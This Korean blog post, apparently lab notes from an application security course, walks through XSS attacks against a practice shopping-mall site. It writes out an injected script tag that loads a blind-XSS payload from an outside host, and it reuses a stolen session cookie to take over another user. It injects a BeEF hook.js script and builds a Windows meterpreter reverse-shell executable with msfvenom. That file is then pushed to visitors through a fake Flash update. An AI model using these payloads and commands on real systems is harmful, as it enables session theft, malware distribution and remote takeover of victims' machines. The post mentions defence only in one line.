안녕하세요 !
오늘은 애플리케이션 보안 네 번째 정리를 하도록 하겠습니다.
애플리케이션 보안
공격 패턴들을 만들어 갈 것인지 스크립트 동작 여부를 판단하기 위함 !
먼저 document.cookie 는 자바스크립트에서 사용되는 객체로 웹 브라우저에서 쿠키를 생성, 수정 또는 삭제할 수 있게 해줍니다. 쿠키는 웹 서버와 클라이언트 간의 정보 교환을 위해 사용됩니다. 주로 사용자 인증, 세션 관리, 사용자 설정 등을 유지하기 위해 이용됩니다.
document.cookie 는 문자열 형식으로 쿠키 정보를 저장하며, 각 쿠키는 이름과 값의 쌍으로 구성됩니다. 또한, 쿠키는 만료 날짜 및 경로, 도메인 정보 등의 다양한 옵션을 가질 수 있습니다.
bxss hunter 사이트에 들어갑니다.
그리고 페이로드에 들어가서 두 번째 줄에 있는 내용을 복사합니다.
"><script src=https://hellored.bxss.></script> 를 붙여넣기 합니다. 그리고 완료 해줍니다.
페이로드에 들어가서 쿠키 세션 = 다음 값을 복사해준 뒤에 다시 쇼핑몰 페이지로 돌아갑니다.
돌아가서 value 값에다가 붙여넣기 하고 새로고침하면 다른 사용자로 넘어가는데 지금 현재 저의 게시글에는 아무도 접속을 안해서 IP가 잡히질 않네요. 아무튼 그렇게 하면 됩니다.
간단하게 실습을 해봤습니다. 이제 취약점을 간단하게 정리하도록 하겠습니다.
* XSS 취약점
- 사용자 브라우저를 제어하여, 악의적인 사이트로 유도할 수 있는 스크립트 삽입 취약점 !
위의 취약점을 이용해서 어떤 공격을 하는가 ?
1. 악성 코드 배포 가능 !
2. 사용자의 쿠키 정보를 획득해서 권한을 획득합니다.
대응 ) 1. 악의적으로 사용할 수 있는 스크립트 제한합니다 !
이번에는 악성 코드를 유도해서 피싱 사이트로 유도하는 것을 해보도록 하겠습니다.
우선 만약에 beef - xss 에서 비밀번호를 설정했는데 만약 안되는 경우가 있을 수 있습니다. 그런 경우를 대비해서 명령어를 정리하도록 하겠습니다. cd /usr/share/beef-xss 를 먼저 입력하고 sudo vim config.yaml 를 들어가면 본인이 beef 가입하기 전에 비밀번호를 설정한 내용을 볼 수 있습니다. 바로 비밀번호를 수정하면 됩니다. 그런 다음 sudo beef-xss stop 하고 sudo beef-xss restart 를 클릭합니다. 그런 다음 sudo beef-xss-stop 을 클릭하고 다시 sudo beef-xss 를 누르면 됩니다.
XSS 취약점을 이용하여서 피싱사이트, 악성 코드 배포
1. 웹 서버의 XSS 취약점을 이용한다.
2. 사용자, 관리자가 스크립트가 삽입된 게시물에 접근한다.
3. 공격자는 피싱 사이트로 유도하여서 계정 정보를 탈취한다.
4. 공격자는 악성 코를 배포한다. (EXE 파일)
5. 관리자가 감염이 되어서 시스템 권한을 탈취한다.
6. 공격자는 PC의 중요 정보를 탈취, 윈도우의 계정 정보 탈취 공격자 (칼리 리눅스 IP로 적용한다.)
<script src="http://192.168.126.130:3000/hook.js"></script>
BEFF 사이트로 들어간 것을 볼 수 있습니다.
<script src="http://192.168.5.135:3000/hook.js"></script> 이 문장을 칼리 리눅스 IP 로 수정합니다.
그리고 쇼핑몰 게시물 작성했던 곳에 그대로 붙여넣기 하면 됩니다.
이렇게 온라인 브라우저에 IP 주소가 떠야 됩니다.
악성 코드를 제작해야 하기 때문에 명령창에 sudo msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.126.130 LPORT=5555 -f exe -o flash.exe 를 입력해줍니다.
메타프리터 형태로 공격을 할 수 있게끔 설정하는건데 sudo 명령을 관리자 권한으로 실행, msfvenom 은 Metasploit Framework에서 페이로드를 생성하는 도구입니다.
-p windows/meterpreter/reverse_tcp: 생성할 페이로드를 지정하는 옵션입니다. 여기서는 Meterpreter reverse TCP 페이로드를 선택했습니다. LHOST=192.168.126.130: 역 연결을 수신할 로컬 호스트의 IP 주소를 지정하는 옵션입니다.
그리고 192.168.126.130로 설정되어 있습니다. LPORT=5555: Meterpreter 세션을 수신할 로컬 포트 번호를 지정하는 옵션입니다. 여기서는 포트 5555를 사용하고 있습니다.
-f exe: 생성할 파일 형식을 지정하는 옵션입니다. 여기서는 실행 파일(.exe) 형식으로 설정되어 있습니다.
-o flash.exe: 생성된 실행 파일의 이름을 지정하는 옵션입니다. 여기서는 flash.exe로 설정되어 있습니다.
python3 -m http.server 8000 를 입력해서 파이썬으로 구동을 합니다.
그리고 페이크 플래쉬 업데이트에서 IMAGE, CUSTOM PAYLOAD URL 이 부분을 수정합니다.
http://192.168.5.135:3000/adobe/flash_update.png
http://192.168.5.135/flash.exe
수정을 하고 나면 바로 Excute 를 실행합니다.
그러면 이렇게 실행했던 파일이 인스톨 다운받으라고 알림이 갑니다.
참고로 미리 msfconsole 에서 공격 준비는 해야 됩니다. 그래야 실행이 되요.
즉, 이 과정은 XSS 취약점으로 유도해서 악성코드를 만들고 악성코드와 연결할 핸들러를 준비하는 거 입니다.
'애플리케이션 보안' 카테고리의 다른 글
애플리케이션 보안 [다섯 번째 정리] (0) | 2024.04.18 |
---|---|
애플리케이션 보안 [두 번째 정리] (0) | 2024.03.23 |
애플리케이션 보안 [세 번째 정리] (0) | 2024.03.19 |
애플리케이션 보안 [첫 번째 정리] (4) | 2024.03.18 |